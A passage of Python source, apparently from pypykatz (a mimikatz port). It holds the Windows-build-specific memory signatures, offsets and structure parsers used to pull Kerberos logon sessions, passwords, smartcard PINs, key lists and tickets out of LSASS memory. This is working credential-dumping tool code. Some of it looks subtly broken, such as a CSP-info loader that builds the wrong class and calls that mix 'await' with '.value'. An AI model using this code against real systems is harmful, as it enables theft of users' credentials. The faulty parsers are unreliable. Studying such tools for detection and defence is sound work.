sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif WindowsBuild.WIN_10_1607.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6_1607 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif sysinfo.buildnumber >= WindowsBuild.WIN_11_2022.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_11 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6_1607 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 else: raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50' template.first_entry_offset = -8 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 template.hash_password_struct = KERB_HASHPASSWORD_5 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50' template.first_entry_offset = -8 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 template.hash_password_struct = KERB_HASHPASSWORD_5 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.signature = b'\x53\x8b\x18\x50\x56' template.first_entry_offset = -11 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x53\x8b\x18\x50\x56' template.first_entry_offset = -11 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_BLUE.value: template.signature = b'\x57\x8b\x38\x50\x68' template.first_entry_offset = -14 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x56\x8b\x30\x50\x57' template.first_entry_offset = -15 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 ####DOUBLE CHECK THE STRUCTURES BELOW THIS LINE!!!! #### kerbHelper[N] -> KerberosReferences... {-15,7}}, here N= 7 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: template.signature = b'\x56\x8b\x30\x50\x57' template.first_entry_offset = -15 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_X86 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: template.signature = b'\x56\x8b\x30\x50\x57' template.first_entry_offset = -15 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6_1607 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber: template.signature = b'\x56\x8b\x30\x50\x53' template.first_entry_offset = -15 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6_1607 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) return template class PKERB_SMARTCARD_CSP_INFO_5(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKERB_SMARTCARD_CSP_INFO_5() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KERB_SMARTCARD_CSP_INFO_5 return p class KERB_SMARTCARD_CSP_INFO_5: def __init__(self): #self.dwCspInfoLen = DWORD(reader).value self.ContextInformation = None self.nCardNameOffset = None self.nReaderNameOffset = None self.nContainerNameOffset = None self.nCSPNameOffset = None self.bBuffer = None @staticmethod async def load(reader, size): res = KERB_SMARTCARD_CSP_INFO_5() pos = reader.tell() #self.dwCspInfoLen = DWORD(reader).value res.ContextInformation = await PVOID.loadvalue(reader) res.nCardNameOffset = await ULONG.loadvalue(reader) res.nReaderNameOffset = await ULONG.loadvalue(reader) res.nContainerNameOffset = await ULONG.loadvalue(reader) res.nCSPNameOffset = await ULONG.loadvalue(reader) diff = reader.tell() - pos data = await reader.read(size - diff + 4) res.bBuffer = io.BytesIO(data) return res def read_wcharnull(self, buffer, tpos): pos = buffer.tell() buffer.seek(tpos, 0) data = b'' i=0 nc = 0 while i < 255: if nc == 3: break c = buffer.read(1) if c == b'\x00': nc += 1 else: nc = 0 data += c i += 1 buffer.seek(pos, 0) return data.decode('utf-16-le').replace('\x00', '') def get_infos(self): t = {} t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset) t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset) t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset) t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset) return t class PKERB_SMARTCARD_CSP_INFO(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKERB_SMARTCARD_CSP_INFO() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KERB_SMARTCARD_CSP_INFO return p class KERB_SMARTCARD_CSP_INFO: def __init__(self): self.MessageType = None self.ContextInformation = None self.SpaceHolderForWow64 = None self.flags = None self.KeySpec = None self.nCardNameOffset = None self.nReaderNameOffset = None self.nContainerNameOffset = None self.nCSPNameOffset = None self.bBuffer = None @staticmethod async def load(reader, size): res = KERB_SMARTCARD_CSP_INFO() pos = reader.tell() #self.dwCspInfoLen = DWORD(reader).value res.MessageType = await DWORD.loadvalue(reader).value res.ContextInformation = await PVOID.loadvalue(reader).value res.SpaceHolderForWow64 = await ULONG64.loadvalue(reader).value res.flags = await DWORD.loadvalue(reader).value res.KeySpec = await DWORD.loadvalue(reader).value res.nCardNameOffset = await ULONG.loadvalue(reader).value res.nCardNameOffset *= 2 res.nReaderNameOffset = await ULONG.loadvalue(reader).value res.nReaderNameOffset *= 2 res.nContainerNameOffset = await ULONG.loadvalue(reader).value res.nContainerNameOffset *= 2 res.nCSPNameOffset = await ULONG.loadvalue(reader).value res.nCSPNameOffset *= 2 diff = reader.tell() - pos data = await reader.read(size - diff + 4) res.bBuffer = io.BytesIO(data) return res def read_wcharnull(self, buffer, tpos): pos = buffer.tell() buffer.seek(tpos, 0) data = b'' i=0 nc = 0 while i < 255: if nc == 3: break c = buffer.read(1) if c == b'\x00': nc += 1 else: nc = 0 data += c i += 1 buffer.seek(pos, 0) return data.decode('utf-16-le').replace('\x00', '') def get_infos(self): t = {} t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset) t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset) t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset) t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset) return t class PKIWI_KERBEROS_CSP_INFOS_5(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_CSP_INFOS_5() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_CSP_INFOS_5 return p class KIWI_KERBEROS_CSP_INFOS_5: def __init__(self): self.PinCode = None self.unk0 = None self.unk1 = None self.CertificateInfos = None self.unkData = None self.Flags = None self.CspDataLength = None self.CspData = None @staticmethod async def load(reader): res = KIWI_KERBEROS_CSP_INFOS_5() res.PinCode = await LSA_UNICODE_STRING.load(reader) res.unk0 = await PVOID.load(reader) res.unk1 = await PVOID.load(reader) res.CertificateInfos = await PVOID.load(reader) res.unkData = await PVOID.load(reader) # // 0 = CspData res.Flags = await DWORD.loadvalue(reader) # // 1 = CspData (not 0x21)(reader).value res.CspDataLength = await DWORD.loadvalue(reader) res.CspData = await KERB_SMARTCARD_CSP_INFO_5.load(reader, size = res.CspDataLength) return res class PKIWI_KERBEROS_CSP_INFOS_60(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_CSP_INFOS_60() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_CSP_INFOS_60 return p class KIWI_KERBEROS_CSP_INFOS_60: def __init__(self): self.PinCode = None self.unk0 = None self.unk1 = None self.CertificateInfos = None self.unkData = None self.Flags = None self.unkFlags = None self.CspDataLength = None self.CspData = None @staticmethod async def load(reader): res = KIWI_KERBEROS_CSP_INFOS_5() res.PinCode = await LSA_UNICODE_STRING.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.CertificateInfos = await PVOID.loadvalue(reader) res.unkData = await PVOID.loadvalue(reader) # // 0 = CspData res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value res.unkFlags = await DWORD.loadvalue(reader) #// 0x141(reader).value res.CspDataLength = await DWORD.loadvalue(reader) res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength) return res class PKIWI_KERBEROS_CSP_INFOS_62(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_CSP_INFOS_62() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_CSP_INFOS_62 return p class KIWI_KERBEROS_CSP_INFOS_62: def __init__(self): self.PinCode = None self.unk0 = None self.unk1 = None self.CertificateInfos = None self.unk2 = None self.unkData = None self.Flags = None self.unkFlags = None self.CspDataLength = None self.CspData = None @staticmethod async def load(reader): res = KIWI_KERBEROS_CSP_INFOS_62() res.PinCode = await LSA_UNICODE_STRING.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.CertificateInfos = await PVOID.loadvalue(reader) res.unk2 = await PVOID.loadvalue(reader) res.unkData = await PVOID.loadvalue(reader) #// 0 = CspData(reader).value res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value res.unkFlags = await DWORD.loadvalue(reader) #// 0x141 (not 0x61) res.CspDataLength = await DWORD.loadvalue(reader) res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength) return res class PKIWI_KERBEROS_CSP_INFOS_10(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_CSP_INFOS_10() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_CSP_INFOS_10 return p class KIWI_KERBEROS_CSP_INFOS_10: def __init__(self): self.PinCode = None self.unk0 = None self.unk1 = None self.CertificateInfos = None self.unk2 = None self.unkData = None self.Flags = None self.unkFlags = None self.unk3 = None self.CspDataLength = None self.CspData = None @staticmethod async def load(reader): res = KIWI_KERBEROS_CSP_INFOS_10() res.PinCode = await LSA_UNICODE_STRING.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.CertificateInfos = await PVOID.loadvalue(reader) res.unk2 = await PVOID.loadvalue(reader) res.unkData = await PVOID.loadvalue(reader) #// 0 = CspData res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value res.unkFlags = await DWORD.loadvalue(reader) #// 0x141 (not 0x61)(reader).value res.unk3 = await PVOID.loadvalue(reader) res.CspDataLength = await DWORD.loadvalue(reader) res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength) return res class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_LOGON_SESSION_51() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_LOGON_SESSION_51 return p class KIWI_KERBEROS_LOGON_SESSION_51: def __init__(self): self.UsageCount = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None # // filetime.1 ? self.unk4 = None #// filetime.2 ?(reader).value self.unk5 = None self.unk6 = None self.unk7 = None self.LocallyUniqueIdentifier = None #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value self.unk8 = None self.unk9 = None self.unk10 = None # // filetime.1 ?(reader).value self.unk11 = None # // filetime.2 ?(reader).value self.unk12 = None self.unk13 = None self.unk14 = None self.credentials = None self.unk15 = None self.unk16 = None self.unk17 = None self.unk18 = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.pKeyList = None self.unk24 = None self.Tickets_1 = None self.Tickets_2 = None self.Tickets_3 = None self.SmartcardInfos = None @staticmethod async def load(reader): #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS res = KIWI_KERBEROS_LOGON_SESSION_51() res.UsageCount = await ULONG.loadvalue(reader) res.unk0 = await LIST_ENTRY.load(reader) res.unk1 = await LIST_ENTRY.load(reader) res.unk2 = await PVOID.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) # // filetime.1 ? res.unk4 = await ULONG.loadvalue(reader) #// filetime.2 ?(reader).value res.unk5 = await PVOID.loadvalue(reader) res.unk6 = await PVOID.loadvalue(reader) res.unk7 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) await reader.align(8) #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value res.unk8 = await FILETIME.loadvalue(reader) res.unk9 = await PVOID.loadvalue(reader) res.unk10 = await ULONG.loadvalue(reader) # // filetime.1 ?(reader).value res.unk11 = await ULONG.loadvalue(reader) # // filetime.2 ?(reader).value res.unk12 = await PVOID.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) res.unk14 = await PVOID.loadvalue(reader) res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) res.unk15 = await ULONG.loadvalue(reader) res.unk16 = await ULONG.loadvalue(reader) res.unk17 = await ULONG.loadvalue(reader) res.unk18 = await ULONG.loadvalue(reader) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await PVOID.loadvalue(reader) res.pKeyList = await PVOID.load(reader) res.unk24 = await PVOID.loadvalue(reader) res.Tickets_1 = await LIST_ENTRY.load(reader) res.Tickets_2 = await LIST_ENTRY.load(reader) res.Tickets_3 = await LIST_ENTRY.load(reader) res.SmartcardInfos = await PVOID.load(reader) return res class PKIWI_KERBEROS_LOGON_SESSION(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_LOGON_SESSION() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_LOGON_SESSION return p class KIWI_KERBEROS_LOGON_SESSION: def __init__(self): self.UsageCount = None self.unk0 = None self.unk1 = None self.unk2 = None # // filetime.1 ? self.unk3 = None #// filetime.2 ?(reader).value self.unk4 = None self.unk5 = None self.unk6 = None self.LocallyUniqueIdentifier = None #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value self.unk7 = None self.unk8 = None self.unk9 = None # // filetime.1 ?(reader).value self.unk10 = None # // filetime.2 ?(reader).value self.unk11 = None self.unk12 = None self.unk13 = None self.credentials = None self.unk14 = None self.unk15 = None self.unk16 = None self.unk17 = None self.unk18 = None self.unk19 = None self.unk20 = None self.unk21 = None self.pKeyList = None self.unk23 = None self.Tickets_1 = None self.unk24 = None self.Tickets_2 = None self.unk25 = None self.Tickets_3 = None self.unk26 = None self.SmartcardInfos = None @staticmethod async def load(reader): res = KIWI_KERBEROS_LOGON_SESSION() res.UsageCount = await ULONG.loadvalue(reader) await reader.align() res.unk0 = await LIST_ENTRY.load(reader) res.unk1 = await PVOID.loadvalue(reader) res.unk2 = await ULONG.loadvalue(reader) # // filetime.1 ? res.unk3 = await ULONG.loadvalue(reader) #// filetime.2 ?(reader).value res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.unk6 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value await reader.align(8) res.unk7 = await FILETIME.loadvalue(reader) res.unk8 = await PVOID.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) # // filetime.1 ?(reader).value res.unk10 = await ULONG.loadvalue(reader) # // filetime.2 ?(reader).value res.unk11 = await PVOID.loadvalue(reader) res.unk12 = await PVOID.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) res.unk14 = await ULONG.loadvalue(reader) res.unk15 = await ULONG.loadvalue(reader) res.unk16 = await ULONG.loadvalue(reader) res.unk17 = await ULONG.loadvalue(reader) res.unk18 = await PVOID.loadvalue(reader) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.pKeyList = await PVOID.load(reader) res.unk23 = await PVOID.loadvalue(reader) await reader.align() res.Tickets_1 = await LIST_ENTRY.load(reader) res.unk24 = await FILETIME.loadvalue(reader) res.Tickets_2 = await LIST_ENTRY.load(reader) res.unk25 = await FILETIME.loadvalue(reader) res.Tickets_3 = await LIST_ENTRY.load(reader) res.unk26 = await FILETIME.loadvalue(reader) res.SmartcardInfos = await PVOID.load(reader) return res class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL return p class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL: def __init__(self): self.UserName = None self.Domaine = None self.unk0 = None self.Password = None @staticmethod async def load(reader): res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL() res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.Password = await LSA_UNICODE_STRING.load(reader) return res class PKIWI_KERBEROS_LOGON_SESSION_10(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_LOGON_SESSION_10() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_LOGON_SESSION_10 return p class KIWI_KERBEROS_LOGON_SESSION_10_X86: def __init__(self): self.UsageCount = None self.unk0 = None self.unk1 = None self.unk1b = None self.unk2 = None self.unk4 = None self.unk5 = None self.unk6 = None self.LocallyUniqueIdentifier = None self.unk7 = None self.unk8 = None self.unk8b = None self.unk9 = None self.unk11 = None self.unk12 = None self.unk13 = None self.credentials = None self.unk14 = None self.unk15 = None self.unk16 = None self.unk17 = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.unk23 = None self.unk24 = None self.unk25 = None self.pKeyList = None self.unk26 = None self.Tickets_1 = None self.unk27 = None self.Tickets_2 = None self.unk28 = None self.Tickets_3 = None self.unk29 = None self.SmartcardInfos = None @staticmethod async def load(reader): res = KIWI_KERBEROS_LOGON_SESSION_10_X86() res.UsageCount = await ULONG.loadvalue(reader) await reader.align() res.unk0 = await LIST_ENTRY.load(reader) res.unk1 = await PVOID.loadvalue(reader) res.unk1b = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await FILETIME.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.unk6 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) #print(hex(self.LocallyUniqueIdentifier)) #input('unk7\n' + hexdump(reader.peek(0x100))) await reader.align() res.unk7 = await FILETIME.loadvalue(reader) res.unk8 = await PVOID.loadvalue(reader) res.unk8b = await ULONG.loadvalue(reader) await reader.align() res.unk9 = await FILETIME.loadvalue(reader) res.unk11 = await PVOID.loadvalue(reader) res.unk12 = await PVOID.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) await reader.align(8) #input('credentials\n' + hexdump(reader.peek(0x100))) res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL.load(reader) res.unk14 = await ULONG.loadvalue(reader) res.unk15 = await ULONG.loadvalue(reader) res.unk16 = await ULONG.loadvalue(reader) res.unk17 = await ULONG.loadvalue(reader) #//PVOID unk18 = (reader).value await reader.align(8) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await PVOID.loadvalue(reader) res.unk23 = await PVOID.loadvalue(reader) res.unk24 = await PVOID.loadvalue(reader) res.unk25 = await PVOID.loadvalue(reader) res.pKeyList = await PVOID.load(reader) res.unk26 = await PVOID.loadvalue(reader) #input('pKeyList\n' + hexdump(reader.peek(0x100))) await reader.align() #input('Tickets_1\n' + hexdump(reader.peek(0x100))) res.Tickets_1 = await LIST_ENTRY.load(reader) res.unk27 = await FILETIME.loadvalue(reader) res.Tickets_2 = await LIST_ENTRY.load(reader) res.unk28 = await FILETIME.loadvalue(reader) res.Tickets_3 = await LIST_ENTRY.load(reader) res.unk29 = await FILETIME.loadvalue(reader) res.SmartcardInfos = await PVOID.load(reader) return res class KIWI_KERBEROS_LOGON_SESSION_10: def __init__(self): self.UsageCount = None self.unk0 = None self.unk1 = None self.unk1b = None self.unk2 = None self.unk4 = None self.unk5 = None self.unk6 = None self.LocallyUniqueIdentifier = None self.unk7 = None self.unk8 = None self.unk8b = None self.unk9 = None self.unk11 = None self.unk12 = None self.unk13 = None self.credentials = None self.unk14 = None self.unk15 = None self.unk16 = None self.unk17 = None #self.unk18 = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.unk23 = None self.unk24 = None self.unk25 = None self.pKeyList = None self.unk26 = None self.Tickets_1 = None self.unk27 = None self.Tickets_2 = None self.unk28 = None self.Tickets_3 = None self.unk29 = None self.SmartcardInfos = None @staticmethod async def load(reader): res = KIWI_KERBEROS_LOGON_SESSION_10() res.UsageCount = await ULONG.loadvalue(reader) await reader.align() res.unk0 = await LIST_ENTRY.load(reader) res.unk1 = await PVOID.loadvalue(reader) res.unk1b = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await FILETIME.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.unk6 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.unk7 = await FILETIME.loadvalue(reader) res.unk8 = await PVOID.loadvalue(reader) res.unk8b = await ULONG.loadvalue(reader) await reader.align() res.unk9 = await FILETIME.loadvalue(reader) res.unk11 = await PVOID.loadvalue(reader) res.unk12 = await PVOID.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL.load(reader) res.unk14 = await ULONG.loadvalue(reader) res.unk15 = await ULONG.loadvalue(reader) res.unk16 = await ULONG.loadvalue(reader) res.unk17 = await ULONG.loadvalue(reader) #self.unk18 = PVOID(reader).value res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await PVOID.loadvalue(reader) res.unk23 = await PVOID.loadvalue(reader) res.unk24 = await PVOID.loadvalue(reader) res.unk25 = await PVOID.loadvalue(reader) res.pKeyList = await PVOID.load(reader) res.unk26 = await PVOID.loadvalue(reader) res.Tickets_1 = await LIST_ENTRY.load(reader) res.unk27 = await FILETIME.loadvalue(reader) res.Tickets_2 = await LIST_ENTRY.load(reader) res.unk28 = await FILETIME.loadvalue(reader) res.Tickets_3 = await LIST_ENTRY.load(reader) res.unk29 = await FILETIME.loadvalue(reader) res.SmartcardInfos = await PVOID.load(reader) return res class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO return p class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO: def __init__(self): self.StructSize = None self.isoBlob = None @staticmethod async def load(reader): res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO() res.StructSize = await DWORD.loadvalue(reader) await reader.align() res.isoBlob = await PLSAISO_DATA_BLOB.load(reader) #POINTER!!!! #// aligned = return res class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607 return p class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607: def __init__(self): self.UserName = None self.Domaine = None self.unkFunction = None self.type = None self.Password = None self.IsoPassword = None @staticmethod async def load(reader): res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607() res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unkFunction = await PVOID.loadvalue(reader) res.type = await DWORD.loadvalue(reader) # // or flags 2 = normal, 1 = ISO(reader).value await reader.align() res.Password = await LSA_UNICODE_STRING.load(reader) # union { res.IsoPassword = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO.load(reader) return res class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_LOGON_SESSION_10_1607() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_LOGON_SESSION_10_1607 return p class KIWI_KERBEROS_LOGON_SESSION_10_1607: def __init__(self): self.UsageCount = None self.unk0 = None self.unk1 = None self.unk1b = None self.unk2 = None self.unk4 = None self.unk5 = None self.unk6 = None self.LocallyUniqueIdentifier = None self.unk7 = None self.unk8 = None self.unk8b = None self.unk9 = None self.unk11 = None self.unk12 = None self.unk13 = None self.credentials = None self.unk14 = None self.unk15 = None self.unk16 = None self.unk17 = None self.unk18 = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.unk23 = None self.pKeyList = None self.unk26 = None self.Tickets_1 = None self.unk27 = None self.Tickets_2 = None self.unk28 = None self.Tickets_3 = None self.unk29 = None self.SmartcardInfos = None @staticmethod async def load(reader): res = KIWI_KERBEROS_LOGON_SESSION_10_1607() res.UsageCount = await ULONG.loadvalue(reader) await 